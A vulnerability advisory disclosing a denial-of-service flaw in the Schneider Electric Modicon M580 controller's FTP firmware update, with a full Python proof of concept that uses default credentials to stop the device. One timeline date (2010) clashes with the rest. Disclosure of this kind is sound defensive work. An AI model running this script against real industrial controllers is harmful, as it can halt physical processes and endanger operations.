Talos Vulnerability Report

TALOS-2019-0823

Schneider Electric Modicon M580 FTP incomplete firmware update denial-of-service vulnerability

October 8, 2019
CVE Number

CVE-2019-6842

Summary

An exploitable denial-of-service vulnerability exists in the FTP firmware update function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.80. A specially crafted set of FTP commands can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can use default credentials to send commands that trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When conducting a firmware upgrade of the Modicon M580 there are a few options to choose from, including FTP. During this process, the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent and the environment is set up correctly, the upgrade loader service switches from an ‘OK’ state to a ‘not ready’ state and begins upgrading the firmware. During a legitimate firmware upgrade, this command is run twice: once for the main firmware and once for the web firmware.

If an upgrade request is processed successfully for the main firmware, but is not followed by an upgrade request for the web firmware, the device will perform the main firmware upgrade and then enter a fault state waiting for its next upgrade request. During this time communication with the device is still possible with the device’s programming tools. However, the normal device execution is stopped.

Exploit Proof of Concept

from ftplib import FTP, error_perm
import os
from time import sleep

# helper function to specify a custom mkdir command and add a sleep to the request
def createDirectory(ftp, dirpath):
    cmd = "XMKD {}".format(dirpath)
    ftp.sendcmd(cmd)
    sleep(1)
  
def main():
    # Parameters
    rhost = "192.168.10.1"
    ftpuser = "loader"
    ftppass = "fwdownload"
    files = ["fw.ini", "M580SMP.img", "M580SMP_SIG.img", "webpage.img", "webpage_sig.img"]
  
    # local working dir setup
    os.chdir("BMEP582040_ldx_extracted")
  
    # login
    ftp = FTP(host=rhost, user=ftpuser, passwd=ftppass, timeout=10)
  
    # couple required commands
    ftp.sendcmd("TYPE I")
    ftp.sendcmd("DINF 254.254")
  
    # set up dir structure
    # not catching this error b/c its a problem if it gets thrown
    createDirectory(ftp, "/SDCA/Firmware")
    createDirectory(ftp, "/SDCA/Firmware/Device")
    ftp.cwd("/SDCA/Firmware/Device")
  
    # transfer files
    for curfile in files:
        with open(curfile, 'rb') as f:
            cmd = "STOR {}".format(curfile)
            ftp.storbinary(cmd, f)
  
    # make sure the device is stopped
    ftp.sendcmd("STOP")
  
    # get the device state
    # not entirely sure what the 255.255 is here, but we need it otherwise things break
    ftp.sendcmd("LDST 255.255")
  
    # send the update command
    ftp.sendcmd("UGRD 254.254.10.0")

    # send status commands every second to watch for the fault
    # timeout after 10 minutes and indicate failure
    success = False
    for i in range(600):
        resp = ftp.sendcmd("LDST")
        if "Loader = COMPLETED" in resp and "Transferred =" in resp:
            success = True
            break
        sleep(1)
    if success:
        print("Success")
    else:
        print("Failure")

  
if __name__ == '__main__':
    main()

Timeline

2019-05-08 - Vendor Disclosure
2010-09-10 - Public disclosure date extended
2019-10-08 - Public disclosure

Credit

Discovered by Jared Rittle of Cisco Talos.